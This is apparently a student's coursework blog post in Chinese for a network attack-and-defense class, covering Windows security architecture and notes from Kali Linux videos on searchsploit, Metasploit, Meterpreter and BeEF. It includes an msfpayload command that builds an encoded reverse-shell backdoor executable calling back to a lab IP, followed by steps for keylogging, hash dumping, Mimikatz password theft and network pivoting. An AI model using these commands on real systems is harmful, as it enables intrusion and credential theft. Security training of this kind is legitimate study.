热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

2017-2018-220179223《网络攻防技术》第七周作业

教材内容学习一、Windows操作系统框架1、Windows操作系统的发展与现状Windows在桌面操作系统中占有非常高的市场份额,WindowsXP系统在国内仍有大量的用户2、Wi

教材内容学习

一、Windows操作系统框架

1、Windows操作系统的发展与现状

Windows在桌面操作系统中占有非常高的市场份额,Windows XP系统在国内仍有大量的用户

2、Windows操作系统基本结构

(1)Windows操作系统内核基本模块

+Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口

+Windows内核体:Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能

+设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序程序,以及文件系统与网络设备驱动程序。

+硬件抽象层:hal.dll文件,用于屏蔽Windows内核与平台硬件差异性的底层代码.

+Windows窗口与图形界面接口内核实现代码:win.32k.sys文件

(2)Windows操作系统在用户态的代码模块

+系统支持进程:Windows开机自动启动的系统内建服务进程

+环境子系统服务进程:为操作系统运行环境提供支持的服务进程

+服务进程:通过windows的服务管理机制所启动的一系列系统及网络服务

+用户应用软件:在用户态执行的各类用户应用软件

+核心子系统DLL:即kernel32.dll/user32.dll/gdi32.dll/avapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。

(3)核心机制

+Windows进程和线程管理机制

+Windows内存管理机制

+Windows文件管理机制

+Windows注册表管理机制

+Windows的网络机制

①网卡硬件设备驱动程序,位于OSI物理层
②NDIS库及miniport驱动程序,位于OSI链路层
③TDI传输层,网络协议驱动,位于OSI网络层与传输层
④网络API DLL 及TDI客户端,对应OSI会话层与表示层
⑥网络应用程序与服务进程,对应OSI应用层

二、Windows操作系统的安全体系结构与机制

1、Windows安全体系结构

Windows操作系统基于引用监控器模型来实现基本的对象安全模型。系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。

Windows操作系统实现基础的安全机制,其中最核心的是位于内核的SRM安全引用监控器,以及位于用户态的LSASS安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制,对所有资源对象的访问控制机制,以及对访问的安全审计机制。

2、Windows身份认证机制

Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。

Windows系统中拥有一些内建账户,如拥有最高权限的本地Administrator账户,作为自动运行系统进程环境的SYSTEM/LocalSystem账户,具有相对极少权限的Guest匿名访问用户,以及IUSR_Machinename IIS服务的匿名网络访问账户等。而这些账户在黑客眼中,本地Administrator和SYSTEM账户拥有最高的权限,是他们攻击的终极目标。

Windows系统的内建用户组包括:本地最高权限用户组Administrators、具有单一方面系统权限的Account/Backup/Server/Print Operators等操作组、用于容纳服务账户的Network Service与Local Service用户组,以及所有用户账户所在的Users组等。 Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM文件中,SAM存储于%systemroot%\system32\config\sam文件系统路径位置,并在注册表的HKEY_LOCAL MACHINE\SAM存有副本。

Windows域账户口令信息则保存在域控制器的活动目录AD中,加密方式与单机平台一致,存储文件系统位置是域控制器的%systemroot%\ntds\ntds.dit路径。

Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主主体进行合法性验证。网络身份认证过程由LSASS服务的Netlogon模块主导完成。

Windows进程、GINA图形化登录窗口,与LSASS服务通过协作来完成本地身份认证过程。

3、Windows授权与访问控制机制

Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。在Windows服务器操作系统中,用户可以执行内建的whoami命令来查看当前用户的访问令牌信息。Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等,而对每个对象会关联一个SD安全描述符,有以下属性组成:

+Owner SID

+Group SID

+DACL 自主访问控制列表

+SACL 系统审计访问控制列表

4、Windows安全审计机制

系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。

5、Win身份认证、授权与访问控制以及安全审计是三个基本安全功能。保护Windows系统安全稳定运行最为关键的三项安全措施——防火墙、补丁自动更新以及病毒防护。除安全中心之外,Windows的安全特性还包括IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、捆绑的IE浏览器所提供的隐私保护与浏览安全保护机制等

dows的其他安全机制

三、Windows远程安全攻防技术

+远程口令猜测与破解攻击

+攻击Windows网络服务

+攻击Windows客户端及用户

1、Windows系统的安全漏洞生命周期

系统安全的本质核心在于安全漏洞、渗透攻击及安全检测防御机制之间的攻防博弈与竞赛。

+Windows安全漏洞发现、利用与修补过程

+安全漏洞公开披露信息库

+针对特定目标的渗透测试攻击过程

①漏洞扫描测试
②查找针对发现漏洞的渗透代码
③实施渗透测试

使用Metasploit软件实施渗透测试:Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。

2、Windows远程口令猜测与破解攻击

+远程口令字猜测

+远程口令字交换通信窃听与破解

+远程口令猜测与破解防范措施

3、Windows网络服务远程渗透攻击

Windows操作系统默认开放135(TCP),137(UDP),139(TCP)与445(TCP)端口,对应的网络服务为MSRPC与过程调用服务,NetBIOS网络基本输入输出系统服务和SMB文件与打印机共享服务。

+针对NetBIOS网络服务的著名漏洞及攻击

+针对SMB网络服务的著名漏洞及攻击

+针对MSRPC网络服务的著名漏洞及攻击

+针对Windows系统上微软网络服务的远程渗透攻击

+针对Windows系统上第三方网络服务的远程渗透攻击

+网络服务远程渗透攻击防范措施

四、Windows本地安全攻防技术

1、Windows本地特权提升

终极特权:Administrator或者Local System账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升。

2、Windows敏感信息窃取

+Windows系统口令字密文提取技术

+Windows系统口令字破解技术

+用户敏感数据窃取

+本地敏感信息窃取防范措施

3、Windows消踪灭迹

+关闭审计功能

+清理事件日志

+针对消踪灭迹的防范措施

4、Windows远程控制与后门程序

+命令行远程控制工具

+图形化远程控制工具

+针对后门程序防范措施

参考资料
http://blog.sina.com.cn/s/blog_acdeaa0901017irl.html

视频内容学习

由于自己的电脑拿去维修,所以借用他人电脑做了本次实验

KaliSecurity - 漏洞利用之检索与利用

漏洞检测和利用工具

1.searchsploitl漏洞检索工具,这个项目是由Offensive Security发起的、基于exploit database官方漏洞数据库源的漏洞搜索工具,可以直接在终端搜索漏洞相关信息,如漏洞简介和漏洞验证/利用脚本。列出所有文件

列出了所有漏洞和对应的文件地址

从目录`/usr/share/exploitdb/patforms/中进入漏洞对应的相对地址

用到指令:cat php/webapps/6.php

搜索windows上iis服务的远程漏洞:root@localhost:~# searchsploit windows iis remote

2.pattern creat

在缓冲区溢出时可以使用这个命令,例pattern create 1000 a就是可以输出1000个a

3.ikat

网络漏洞扫描工具,可以开一个端口和IP地址,一旦有漏洞的主机通过这个端口扫描它,就会中招,并植入一个shellcode。等待目标访问中招

4.Termineter 旨在评估智能电表的安全性,Python Smart Meter Testing Framework。

漏洞利用之Metasploit基础总结

Metasploit在渗透测试中经常可以用到,包含了很多工具,这些工具形成一个完整的攻击框架。

在Kali中使用metaaploie,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据查询exploit和记录。

service postgresql start
service metasploit start

如果不想每次开机都手工启动服务,可以配置随系统启动。

update-rc.d postgresql enable
update-rc.d metasploit enable

二、路径介绍

Kali中msf的路径为/usr/share/metasploit-framework

+Auxiliary:辅助模块

+encoders:供msfencode编码工具使用,具体可以使用msfencode –l

+exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。

+payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。

+post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。

3.基本命令

msfpayload:用来生成payload或者shellcode

搜索的时候可以用msfpayload -l |grep "windows"这样的命令查询。-o 选项可以列出payload所需的参数

msfencode:msf中的编码器,早期为了编码绕过AV,现在常用msfpayload与他编码避免exploit的坏字符串。

msfconsole:开启metasploit的concle最常用的命令。

4.测试示例:发现漏洞,搜索exploit

前期通过扫描的值目标21端口vsftp服务版本为2.3.4,使用msfconsole打开msf的命令行版本,通过search语句搜索是否有漏洞。

这个版本没有发现漏洞。

KaliSecurity - 漏洞利用之Meterpreter介绍

meterpreter 是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出成功后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell.

meterpreter作为后渗透模块有多中类型,并且命令由核心命令和扩展库命令组成,极大地丰富了攻击方式,其有很多有用的功能,如,添加一个用户,隐藏一些东西,打开shell,得到用户密码,上传下载远程主机的文件,运行cmd.exe,捕获屏幕,得到远程控制权,捕获按键信息,清除应用程序,显示远程主机的系统信息,显示远程及其的网络接口和IP地址等信息。

常见的命令:

background:将当前会话放置后台

load/use:加载模块

interact:切换进一个信道

migrate:迁移进程

run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本。

resource:执行一个已有的rc脚本常用的meterpreter类型为:payload/windows/meterpreter/reverse_tcp

攻击步骤:

1、生成Meterpreter后门 :命令:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.129.200 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe

当前kali的IP地址为:192.168.129.200

2、打开MSF,开启监听,选择exploit/multi/handler

确保打开

3、在目标机器上执行door.exe
4、通过help命令查看可执行的命令
5、常见命令使用,包括系统信息,抓取屏幕截图与抓取HASH等。
6、目录浏览
7、键盘监听
8、扩展工具,load/use之后再输入help,就可以了看到有关这个模块的命令的说明了
9、扩展工具之Minikatz,抓取本地密码明文

KaliSecurity - 漏洞利用之Metasploit后渗透测试

在跳板获取一定权限后需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。

1、查看当前网卡、网段信息。ifconfig

2、添加路由表

run autoroute -s 10.0.0.1

可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。

3、开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机。

4、通过background和session -i可以自由切换进入session。

5、输入run可以看到在meterpreter上可以做的很多命令。

6、通过run post/可以看到后渗透测试模块

7、获取内网信息 run arp_acanner -h

8、也可以上传文件,做端口转发后进行后续测试。

漏洞利用之BeeF总结

对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。官网 http://beefproject.com/

1、命令行下启动 beef beef-xss 此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 使用默认用户名beef与默认密码beef登录:

左侧为目标的浏览器

2、假设被测试主机由于XSS漏洞请求到 http://192.168.129.200:3000/demos/basic.html

出现拒绝访问的情况,之后就没有成功。。也是很无奈。

左侧online browsers出现新的选项,其Current Browser中包括浏览器名称、版本、操作系统版本等。

3、HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务:

其中,四种颜色分别表示:

+该攻击模块可用,但隐蔽性强

+该攻击模块可用,但隐蔽性差

+该用户模块是否可用还有待验证

+该攻击模块不可用

+选取MISC下Raw Javascript模块作为测试用例

执行,查看返回结果,成功则显示

4、代理Proxy功能

选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。


推荐阅读
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • Google Play推出全新的应用内评价API,帮助开发者获取更多优质用户反馈。用户每天在Google Play上发表数百万条评论,这有助于开发者了解用户喜好和改进需求。开发者可以选择在适当的时间请求用户撰写评论,以获得全面而有用的反馈。全新应用内评价功能让用户无需返回应用详情页面即可发表评论,提升用户体验。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 利用Visual Basic开发SAP接口程序初探的方法与原理
    本文介绍了利用Visual Basic开发SAP接口程序的方法与原理,以及SAP R/3系统的特点和二次开发平台ABAP的使用。通过程序接口自动读取SAP R/3的数据表或视图,在外部进行处理和利用水晶报表等工具生成符合中国人习惯的报表样式。具体介绍了RFC调用的原理和模型,并强调本文主要不讨论SAP R/3函数的开发,而是针对使用SAP的公司的非ABAP开发人员提供了初步的接口程序开发指导。 ... [详细]
  • 单点登录原理及实现方案详解
    本文详细介绍了单点登录的原理及实现方案,其中包括共享Session的方式,以及基于Redis的Session共享方案。同时,还分享了作者在应用环境中所遇到的问题和经验,希望对读者有所帮助。 ... [详细]
  • 本文介绍了Python爬虫技术基础篇面向对象高级编程(中)中的多重继承概念。通过继承,子类可以扩展父类的功能。文章以动物类层次的设计为例,讨论了按照不同分类方式设计类层次的复杂性和多重继承的优势。最后给出了哺乳动物和鸟类的设计示例,以及能跑、能飞、宠物类和非宠物类的增加对类数量的影响。 ... [详细]
  • 本文介绍了win7系统休眠功能无法启动和关闭的解决方法,包括在控制面板中启用休眠功能、设置系统休眠的时间、通过命令行定时休眠、手动进入休眠状态等方法。 ... [详细]
  • 如何用JNI技术调用Java接口以及提高Java性能的详解
    本文介绍了如何使用JNI技术调用Java接口,并详细解析了如何通过JNI技术提高Java的性能。同时还讨论了JNI调用Java的private方法、Java开发中使用JNI技术的情况以及使用Java的JNI技术调用C++时的运行效率问题。文章还介绍了JNIEnv类型的使用方法,包括创建Java对象、调用Java对象的方法、获取Java对象的属性等操作。 ... [详细]
  • 全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件
    本文旨在全面介绍Windows内存管理机制及C++内存分配实例中的内存映射文件。通过对内存映射文件的使用场合和与虚拟内存的区别进行解析,帮助读者更好地理解操作系统的内存管理机制。同时,本文还提供了相关章节的链接,方便读者深入学习Windows内存管理及C++内存分配实例的其他内容。 ... [详细]
  • 本文介绍了NetCore WebAPI开发的探索过程,包括新建项目、运行接口获取数据、跨平台部署等。同时还提供了客户端访问代码示例,包括Post函数、服务器post地址、api参数等。详细讲解了部署模式选择、框架依赖和独立部署的区别,以及在Windows和Linux平台上的部署方法。 ... [详细]
  • 云原生应用最佳开发实践之十二原则(12factor)
    目录简介一、基准代码二、依赖三、配置四、后端配置五、构建、发布、运行六、进程七、端口绑定八、并发九、易处理十、开发与线上环境等价十一、日志十二、进程管理当 ... [详细]
  • Mono为何能跨平台
    概念JIT编译(JITcompilation),运行时需要代码时,将Microsoft中间语言(MSIL)转换为机器码的编译。CLR(CommonLa ... [详细]
author-avatar
大Joob
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有